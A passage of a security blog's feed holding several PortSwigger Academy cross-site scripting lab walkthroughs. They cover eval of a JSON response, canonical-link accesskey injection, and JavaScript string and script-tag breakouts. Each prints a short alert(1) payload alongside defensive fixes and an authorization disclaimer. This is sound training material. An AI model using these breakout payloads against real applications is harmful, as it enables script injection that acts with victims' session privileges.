src="/images/portswigger/xss/lab-perform-csrf/step-4.png" alt="Burp message editor shows the same-origin account request and the follow-up email-change POST carrying an extracted CSRF token."><figcaption>Burp message editor shows the same-origin account request and the follow-up email-change POST carrying an extracted CSRF token.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The victim administrator email changes to the attacker-selected value and the lab solves. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Learn how a stored comment script reads the same-origin CSRF token and submits it to the change-email endpoint, bypassing token protection from inside the origin.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected DOM XSS</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-dom-xss-reflected/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-dom-xss-reflected/</id>
    <published>2026-07-04T17:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Reflected JSON-to-eval DOM XSS</strong>. <code>/search-results?search=</code> reflects input in JSON and client code evaluates the complete response with <code>eval(responseText)</code>. The server escapes the quote but not the preceding backslash, so the backslash neutralizes that escape, closes the string, and comments the JSON remainder.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Evaluation reaches <code>alert(1)</code> and the lab reports success.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>/search-results?search=</code> reflects input in JSON and client code evaluates the complete response with <code>eval(responseText)</code>. The server escapes the quote but not the preceding backslash, so the backslash neutralizes that escape, closes the string, and comments the JSON remainder.</p><figure><img src="/images/portswigger/xss/lab-dom-xss-reflected/step-1.png" alt="Academy objective explains that a server response is processed unsafely by client JavaScript, creating reflected DOM XSS."><figcaption>Academy objective explains that a server response is processed unsafely by client JavaScript, creating reflected DOM XSS.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-dom-xss-reflected/step-2.png" alt="JSON search response reflects an unencoded script string in `searchTerm`, showing the server-side source returned to the browser."><figcaption>JSON search response reflects an unencoded script string in `searchTerm`, showing the server-side source returned to the browser.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, <code>/search-results?search=</code> reflects input in JSON and client code evaluates the complete response with <code>eval(responseText)</code>. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`\&quot;-alert(1)&#125;//`</span><br></pre></td></tr></table></figure><p>The server escapes the quote but not the preceding backslash, so the backslash neutralizes that escape, closes the string, and comments the JSON remainder. </p><figure><img src="/images/portswigger/xss/lab-dom-xss-reflected/step-3.png" alt="Client code passes the complete response text to `eval` before calling `displaySearchResults`, making the JSON response an executable JavaScript sink."><figcaption>Client code passes the complete response text to `eval` before calling `displaySearchResults`, making the JSON response an executable JavaScript sink.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-dom-xss-reflected/step-4.png" alt="Browser alert dialog showing `1` after a backslash defeats quote escaping and the evaluated response executes the injected expression."><figcaption>Browser alert dialog showing `1` after a backslash defeats quote escaping and the evaluated response executes the injected expression.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Evaluation reaches <code>alert(1)</code> and the lab reports success. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Follow a search value through a JSON response into eval and learn how escaping the JSON string boundary produces DOM-based script execution.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected XSS in canonical link tag</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-canonical-link-tag/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-canonical-link-tag/</id>
    <published>2026-07-04T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Canonical-link attribute injection</strong>. The raw query string is reflected into the <code>href</code> of a canonical <code>link</code> element in the document head; angle brackets cannot create a new tag. The injected <code>accesskey</code> makes the otherwise hidden link activatable; the victim presses Alt+Shift+X on Chrome&#x2F;Windows (Ctrl+Alt+X on macOS).</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: The keyboard shortcut dispatches the injected click handler and displays the alert.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The raw query string is reflected into the <code>href</code> of a canonical <code>link</code> element in the document head; angle brackets cannot create a new tag. The injected <code>accesskey</code> makes the otherwise hidden link activatable; the victim presses Alt+Shift+X on Chrome&#x2F;Windows (Ctrl+Alt+X on macOS).</p><figure><img src="/images/portswigger/xss/lab-canonical-link-tag/step-1.png" alt="Academy objective explains that query input enters a canonical link, angle brackets are escaped, and the simulated Chrome user will press the supplied access key."><figcaption>Academy objective explains that query input enters a canonical link, angle brackets are escaped, and the simulated Chrome user will press the supplied access key.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, the raw query string is reflected into the <code>href</code> of a canonical <code>link</code> element in the document head; angle brackets cannot create a new tag. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`/?&#x27;accesskey=&#x27;x&#x27;onclick=&#x27;alert(1)`</span><br></pre></td></tr></table></figure><p>The injected <code>accesskey</code> makes the otherwise hidden link activatable; the victim presses Alt+Shift+X on Chrome&#x2F;Windows (Ctrl+Alt+X on macOS). </p><figure><img src="/images/portswigger/xss/lab-canonical-link-tag/step-2.png" alt="Solved Academy banner confirms the injected `accesskey` and `onclick` attributes on the canonical link were activated by the keyboard shortcut."><figcaption>Solved Academy banner confirms the injected `accesskey` and `onclick` attributes on the canonical link were activated by the keyboard shortcut.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The keyboard shortcut dispatches the injected click handler and displays the alert. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-canonical-link-tag">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">See how the request URL is copied into a canonical link attribute and learn how an injected accesskey and onclick handler create a keyboard-triggered XSS path.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected XSS into a JavaScript string with angle brackets HTML encoded</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-javascript-string-angle-brackets-html-encoded/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-javascript-string-angle-brackets-html-encoded/</id>
    <published>2026-07-04T11:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>JavaScript single-quoted string breakout</strong>. Search input appears in <code>var searchTerms = &#39;INPUT&#39;</code>; angle brackets are HTML-encoded, but a single quote remains executable JavaScript syntax. The payload closes and reopens the string around an arithmetic expression, producing <code>&#39;&#39;-alert(1)-&#39;&#39;</code>.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: The inline script evaluates the expression, fires the alert, and solves the lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Search input appears in <code>var searchTerms = &#39;INPUT&#39;</code>; angle brackets are HTML-encoded, but a single quote remains executable JavaScript syntax. The payload closes and reopens the string around an arithmetic expression, producing <code>&#39;&#39;-alert(1)-&#39;&#39;</code>.</p><figure><img src="/images/portswigger/xss/lab-javascript-string-angle-brackets-html-encoded/step-1.png" alt="Academy objective identifies reflected input inside a JavaScript string where angle brackets are encoded and requires breaking out to call alert."><figcaption>Academy objective identifies reflected input inside a JavaScript string where angle brackets are encoded and requires breaking out to call alert.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-javascript-string-angle-brackets-html-encoded/step-2.png" alt="Results heading displays a script-tag probe as text, confirming angle brackets do not create markup in this context."><figcaption>Results heading displays a script-tag probe as text, confirming angle brackets do not create markup in this context.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-javascript-string-angle-brackets-html-encoded/step-3.png" alt="Results heading displays an inert quote, image, and event-handler probe while the page remains unexecuted, narrowing the context to the JavaScript string."><figcaption>Results heading displays an inert quote, image, and event-handler probe while the page remains unexecuted, narrowing the context to the JavaScript string.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, search input appears in <code>var searchTerms = &#39;INPUT&#39;</code>; angle brackets are HTML-encoded, but a single quote remains executable JavaScript syntax. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&#x27;-alert(1)-&#x27;`</span><br></pre></td></tr></table></figure><p>The payload closes and reopens the string around an arithmetic expression, producing <code>&#39;&#39;-alert(1)-&#39;&#39;</code>. </p><figure><img src="/images/portswigger/xss/lab-javascript-string-angle-brackets-html-encoded/step-4.png" alt="Normal search for `nguyen hoang` provides a clean baseline value for inspecting the generated script."><figcaption>Normal search for `nguyen hoang` provides a clean baseline value for inspecting the generated script.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-javascript-string-angle-brackets-html-encoded/step-5.png" alt="Page source places `nguyen hoang` inside `var searchTerms` before passing it to the search-tracking function."><figcaption>Page source places `nguyen hoang` inside `var searchTerms` before passing it to the search-tracking function.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-javascript-string-angle-brackets-html-encoded/step-6.png" alt="Browser alert dialog showing `1` after the quote-and-subtraction payload closes the string and evaluates `alert(1)`."><figcaption>Browser alert dialog showing `1` after the quote-and-subtraction payload closes the string and evaluates `alert(1)`.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The inline script evaluates the expression, fires the alert, and solves the lab. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">See reflected search data enter a single-quoted JavaScript string and learn why a quote breakout works even though angle brackets are HTML-encoded.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped/</id>
    <published>2026-07-04T08:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Backslash defeats quote escaping</strong>. The inline <code>searchTerms</code> string HTML-encodes angle brackets and double quotes and converts a single quote to <code>\&#39;</code>, but leaves attacker backslashes untreated. After server escaping, <code>\\</code> becomes a literal backslash and the following quote closes the string; <code>//</code> suppresses the suffix.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: The resulting expression invokes <code>alert(1)</code> and completes the lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The inline <code>searchTerms</code> string HTML-encodes angle brackets and double quotes and converts a single quote to <code>\&#39;</code>, but leaves attacker backslashes untreated. After server escaping, <code>\\</code> becomes a literal backslash and the following quote closes the string; <code>//</code> suppresses the suffix.</p><figure><img src="/images/portswigger/xss/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped/step-1.png" alt="Academy objective identifies a JavaScript string where angle brackets and double quotes are encoded and single quotes are backslash-escaped."><figcaption>Academy objective identifies a JavaScript string where angle brackets and double quotes are encoded and single quotes are backslash-escaped.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, the inline <code>searchTerms</code> string HTML-encodes angle brackets and double quotes and converts a single quote to <code>\&#39;</code>, but leaves attacker backslashes untreated. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`\&#x27;-alert(1)//`</span><br></pre></td></tr></table></figure><p>After server escaping, <code>\\</code> becomes a literal backslash and the following quote closes the string; <code>//</code> suppresses the suffix. </p><figure><img src="/images/portswigger/xss/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped/step-2.png" alt="Generated script shows the injected backslash pair consuming the server escape before the following quote closes `searchTerms` and the comment marker suppresses the suffix."><figcaption>Generated script shows the injected backslash pair consuming the server escape before the following quote closes `searchTerms` and the comment marker suppresses the suffix.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped/step-3.png" alt="Browser alert dialog showing `1` after the escaped-string breakout executes."><figcaption>Browser alert dialog showing `1` after the escaped-string breakout executes.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The resulting expression invokes <code>alert(1)</code> and completes the lab. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Follow search text into a single-quoted JavaScript string and learn how a backslash neutralizes server-side quote escaping before code execution.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Reflected XSS into a JavaScript string with single quote and backslash escaped</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-javascript-string-single-quote-backslash-escaped/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-javascript-string-single-quote-backslash-escaped/</id>
    <published>2026-07-04T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>HTML parser closes an escaped JavaScript string</strong>. Both single quotes and backslashes are escaped inside <code>var searchTerms</code>, but the value remains inside an HTML <code>script</code> raw-text element. The HTML parser recognizes the closing script token before the JavaScript parser interprets the quoted value, then parses the attacker-supplied script element.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: The second script executes <code>alert(1)</code> and the Academy marks success.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Both single quotes and backslashes are escaped inside <code>var searchTerms</code>, but the value remains inside an HTML <code>script</code> raw-text element. The HTML parser recognizes the closing script token before the JavaScript parser interprets the quoted value, then parses the attacker-supplied script element.</p><figure><img src="/images/portswigger/xss/lab-javascript-string-single-quote-backslash-escaped/step-1.png" alt="Academy objective states that both single quotes and backslashes are escaped inside a JavaScript string."><figcaption>Academy objective states that both single quotes and backslashes are escaped inside a JavaScript string.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, both single quotes and backslashes are escaped inside <code>var searchTerms</code>, but the value remains inside an HTML <code>script</code> raw-text element. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;`</span><br></pre></td></tr></table></figure><p>The HTML parser recognizes the closing script token before the JavaScript parser interprets the quoted value, then parses the attacker-supplied script element. </p><figure><img src="/images/portswigger/xss/lab-javascript-string-single-quote-backslash-escaped/step-2.png" alt="Page source shows the reflected value still resides inside an HTML script element, so an encoded closing-script sequence targets the HTML parser rather than the string escape."><figcaption>Page source shows the reflected value still resides inside an HTML script element, so an encoded closing-script sequence targets the HTML parser rather than the string escape.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-javascript-string-single-quote-backslash-escaped/step-3.png" alt="Browser alert dialog showing `1` after the HTML parser ends the original script and parses the injected script element."><figcaption>Browser alert dialog showing `1` after the HTML parser ends the original script and parses the injected script element.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The second script executes <code>alert(1)</code> and the Academy marks success. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Learn how the HTML parser closes a script raw-text element before JavaScript escaping matters, allowing reflected input to create executable markup.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
